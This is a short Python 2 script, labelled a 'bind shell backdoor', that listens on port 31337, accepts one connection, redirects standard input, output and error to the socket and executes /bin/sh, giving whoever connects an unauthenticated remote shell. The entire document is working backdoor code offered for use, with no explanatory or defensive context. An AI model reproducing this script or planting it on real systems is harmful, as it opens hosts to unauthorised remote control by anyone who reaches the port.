#
#bind shell backdoor in python
#
import os,sys,socket

ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
print '-Creating socket..'
port = 31337
try:
	ls.bind(('', port))
	print '-Binding the port on '
	ls.listen(1)
	print '-Listening, '
	(conn, addr) = ls.accept()
	print '-Waiting for connection...'
	cli= conn.fileno()
	print '-Redirecting shell...'
	os.dup2(cli, 0)
	print 'In, '
	os.dup2(cli, 1)
	print 'Out, '
	os.dup2(cli, 2)
	print 'Err'
	print 'Done!'
	arg0='/bin/sh'
	arg1='-a'
	args=[arg0]+[arg1]
	os.execv(arg0, args)
except(socket.error):
	print 'fail\n'
	conn.close()
	sys.exit(1)